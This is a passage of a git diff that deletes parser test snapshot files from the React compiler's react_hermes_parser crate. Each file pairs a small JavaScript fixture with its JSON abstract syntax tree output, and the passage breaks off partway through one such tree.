-            "type": "LabeledStatement",
-            "label": {
-              "type": "Identifier",
-              "name": "label",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                26,
-                31
-              ]
-            },
-            "body": {
-              "type": "IfStatement",
-              "test": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  37,
-                  38
-                ]
-              },
-              "consequent": {
-                "type": "BlockStatement",
-                "body": [
-                  {
-                    "type": "WhileStatement",
-                    "test": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        53,
-                        54
-                      ]
-                    },
-                    "body": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "IfStatement",
-                          "test": {
-                            "type": "Identifier",
-                            "name": "c",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              68,
-                              69
-                            ]
-                          },
-                          "consequent": {
-                            "type": "BlockStatement",
-                            "body": [
-                              {
-                                "type": "BreakStatement",
-                                "label": {
-                                  "type": "Identifier",
-                                  "name": "label",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    87,
-                                    92
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  81,
-                                  93
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              71,
-                              101
-                            ]
-                          },
-                          "alternate": null,
-                          "loc": null,
-                          "range": [
-                            64,
-                            101
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        56,
-                        107
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      46,
-                      107
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  40,
-                  111
-                ]
-              },
-              "alternate": null,
-              "loc": null,
-              "range": [
-                33,
-                111
-              ]
-            },
-            "loc": null,
-            "range": [
-              26,
-              111
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "c",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                121,
-                122
-              ]
-            },
-            "loc": null,
-            "range": [
-              114,
-              123
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          125
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        125
-      ],
-      "loc": null,
-      "range": [
-        0,
-        125
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    125
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@component.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@component.js.snap
deleted file mode 100644
index e43ec6a248b6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@component.js.snap
+++ /dev/null
@@ -1,1185 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/component.js
----
-Input:
-function Component(props) {
-  const items = props.items;
-  const maxItems = props.maxItems;
-
-  const renderedItems = [];
-  const seen = new Set();
-  const max = Math.max(0, maxItems);
-  for (let i = 0; i < items.length; i += 1) {
-    const item = items.at(i);
-    if (item == null || seen.has(item)) {
-      continue;
-    }
-    seen.add(item);
-    renderedItems.push(<div>{item}</div>);
-    if (renderedItems.length >= max) {
-      break;
-    }
-  }
-  const count = renderedItems.length;
-  return (
-    <div>
-      <h1>{count} Items</h1>
-      {renderedItems}
-    </div>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "items",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    41
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      44,
-                      49
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "items",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      50,
-                      55
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    44,
-                    55
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  55
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              56
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "maxItems",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    73
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      76,
-                      81
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "maxItems",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      82,
-                      90
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    76,
-                    90
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  65,
-                  90
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              59,
-              91
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "renderedItems",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    101,
-                    114
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    117,
-                    119
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  101,
-                  119
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              95,
-              120
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "seen",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    129,
-                    133
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "Set",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      140,
-                      143
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    136,
-                    145
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  129,
-                  145
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              123,
-              146
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "max",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    155,
-                    158
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "Math",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        161,
-                        165
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "max",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        166,
-                        169
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      161,
-                      169
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        170,
-                        171
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "maxItems",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        173,
-                        181
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    161,
-                    182
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  155,
-                  182
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              149,
-              183
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": {
-              "type": "VariableDeclaration",
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "i",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      195,
-                      196
-                    ]
-                  },
-                  "init": {
-                    "type": "NumericLiteral",
-                    "value": 0.0,
-                    "loc": null,
-                    "range": [
-                      199,
-                      200
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    195,
-                    200
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                191,
-                200
-              ]
-            },
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  202,
-                  203
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "items",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    206,
-                    211
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "length",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    212,
-                    218
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  206,
-                  218
-                ]
-              },
-              "loc": null,
-              "range": [
-                202,
-                218
-              ]
-            },
-            "update": {
-              "type": "AssignmentExpression",
-              "operator": "+=",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  220,
-                  221
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  225,
-                  226
-                ]
-              },
-              "loc": null,
-              "range": [
-                220,
-                226
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "const",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "item",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          240,
-                          244
-                        ]
-                      },
-                      "init": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "items",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              247,
-                              252
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "at",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              253,
-                              255
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            247,
-                            255
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "Identifier",
-                            "name": "i",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              256,
-                              257
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          247,
-                          258
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        240,
-                        258
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    234,
-                    259
-                  ]
-                },
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "LogicalExpression",
-                    "operator": "||",
-                    "left": {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "Identifier",
-                        "name": "item",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          268,
-                          272
-                        ]
-                      },
-                      "operator": "==",
-                      "right": {
-                        "type": "NullLiteral",
-                        "loc": null,
-                        "range": [
-                          276,
-                          280
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        268,
-                        280
-                      ]
-                    },
-                    "right": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "seen",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            284,
-                            288
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "has",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            289,
-                            292
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          284,
-                          292
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "Identifier",
-                          "name": "item",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            293,
-                            297
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        284,
-                        298
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      268,
-                      298
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ContinueStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          308,
-                          317
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      300,
-                      323
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    264,
-                    323
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "seen",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          328,
-                          332
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "add",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          333,
-                          336
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        328,
-                        336
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "item",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          337,
-                          341
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      328,
-                      342
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    328,
-                    343
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "renderedItems",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          348,
-                          361
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          362,
-                          366
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        348,
-                        366
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "JSXElement",
-                        "openingElement": {
-                          "type": "JSXOpeningElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "div",
-                            "loc": null,
-                            "range": [
-                              368,
-                              371
-                            ]
-                          },
-                          "attributes": [],
-                          "selfClosing": false,
-                          "loc": null,
-                          "range": [
-                            367,
-                            372
-                          ]
-                        },
-                        "children": [
-                          {
-                            "type": "JSXExpressionContainer",
-                            "expression": {
-                              "type": "Identifier",
-                              "name": "item",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                373,
-                                377
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              372,
-                              378
-                            ]
-                          }
-                        ],
-                        "closingElement": {
-                          "type": "JSXClosingElement",
-                          "name": {
-                            "type": "JSXIdentifier",
-                            "name": "div",
-                            "loc": null,
-                            "range": [
-                              380,
-                              383
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            378,
-                            384
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          367,
-                          384
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      348,
-                      385
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    348,
-                    386
-                  ]
-                },
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "BinaryExpression",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "renderedItems",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          395,
-                          408
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "length",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          409,
-                          415
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        395,
-                        415
-                      ]
-                    },
-                    "operator": ">=",
-                    "right": {
-                      "type": "Identifier",
-                      "name": "max",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        419,
-                        422
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      395,
-                      422
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          432,
-                          438
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      424,
-                      444
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    391,
-                    444
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                228,
-                448
-              ]
-            },
-            "loc": null,
-            "range": [
-              186,
-              448
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "count",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    457,
-                    462
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "renderedItems",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      465,
-                      478
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "length",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      479,
-                      485
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    465,
-                    485
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  457,
-                  485
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              451,
-              486
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    503,
-                    506
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  502,
-                  507
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    507,
-                    514
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "h1",
-                      "loc": null,
-                      "range": [
-                        515,
-                        517
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      514,
-                      518
-                    ]
-                  },
-                  "children": [
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "count",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          519,
-                          524
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        518,
-                        525
-                      ]
-                    },
-                    {
-                      "type": "JSXText",
-                      "value": " Items",
-                      "raw": " Items",
-                      "loc": null,
-                      "range": [
-                        525,
-                        531
-                      ]
-                    }
-                  ],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "h1",
-                      "loc": null,
-                      "range": [
-                        533,
-                        535
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      531,
-                      536
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    514,
-                    536
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    536,
-                    543
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "renderedItems",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      544,
-                      557
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    543,
-                    558
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    558,
-                    563
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    565,
-                    568
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  563,
-                  569
-                ]
-              },
-              "loc": null,
-              "range": [
-                502,
-                569
-              ]
-            },
-            "loc": null,
-            "range": [
-              489,
-              574
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          576
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        576
-      ],
-      "loc": null,
-      "range": [
-        0,
-        576
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    576
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-call-evaluation-order.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-call-evaluation-order.js.snap
deleted file mode 100644
index 015905eef506..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@computed-call-evaluation-order.js.snap
+++ /dev/null
@@ -1,656 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/computed-call-evaluation-order.js
----
-Input:
-// Should print A, B, arg, original
-function Component() {
-  const changeF = (o) => {
-    o.f = () => console.log("new");
-  };
-  const x = {
-    f: () => console.log("original"),
-  };
-
-  (console.log("A"), x)[(console.log("B"), "f")](
-    (changeF(x), console.log("arg"), 1)
-  );
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          45,
-          54
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "changeF",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    74
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "o",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        78,
-                        79
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "o",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                90,
-                                91
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "f",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                92,
-                                93
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              90,
-                              93
-                            ]
-                          },
-                          "right": {
-                            "type": "ArrowFunctionExpression",
-                            "id": null,
-                            "params": [],
-                            "body": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "console",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    102,
-                                    109
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "log",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    110,
-                                    113
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  102,
-                                  113
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "StringLiteral",
-                                  "value": "new",
-                                  "loc": null,
-                                  "range": [
-                                    114,
-                                    119
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                102,
-                                120
-                              ]
-                            },
-                            "generator": true,
-                            "async": false,
-                            "loc": null,
-                            "range": [
-                              96,
-                              120
-                            ],
-                            "expression": true,
-                            "loc": null,
-                            "range": [
-                              96,
-                              120
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            90,
-                            120
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          90,
-                          121
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      84,
-                      125
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    77,
-                    125
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    77,
-                    125
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  67,
-                  125
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              61,
-              126
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    135,
-                    136
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "f",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          145,
-                          146
-                        ]
-                      },
-                      "value": {
-                        "type": "ArrowFunctionExpression",
-                        "id": null,
-                        "params": [],
-                        "body": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                154,
-                                161
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                162,
-                                165
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              154,
-                              165
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "StringLiteral",
-                              "value": "original",
-                              "loc": null,
-                              "range": [
-                                166,
-                                176
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            154,
-                            177
-                          ]
-                        },
-                        "generator": true,
-                        "async": false,
-                        "loc": null,
-                        "range": [
-                          148,
-                          177
-                        ],
-                        "expression": true,
-                        "loc": null,
-                        "range": [
-                          148,
-                          177
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        145,
-                        177
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    139,
-                    182
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  135,
-                  182
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              129,
-              183
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "SequenceExpression",
-                  "expressions": [
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "console",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            188,
-                            195
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "log",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            196,
-                            199
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          188,
-                          199
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "StringLiteral",
-                          "value": "A",
-                          "loc": null,
-                          "range": [
-                            200,
-                            203
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        188,
-                        204
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        206,
-                        207
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    188,
-                    207
-                  ]
-                },
-                "property": {
-                  "type": "SequenceExpression",
-                  "expressions": [
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "console",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            210,
-                            217
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "log",
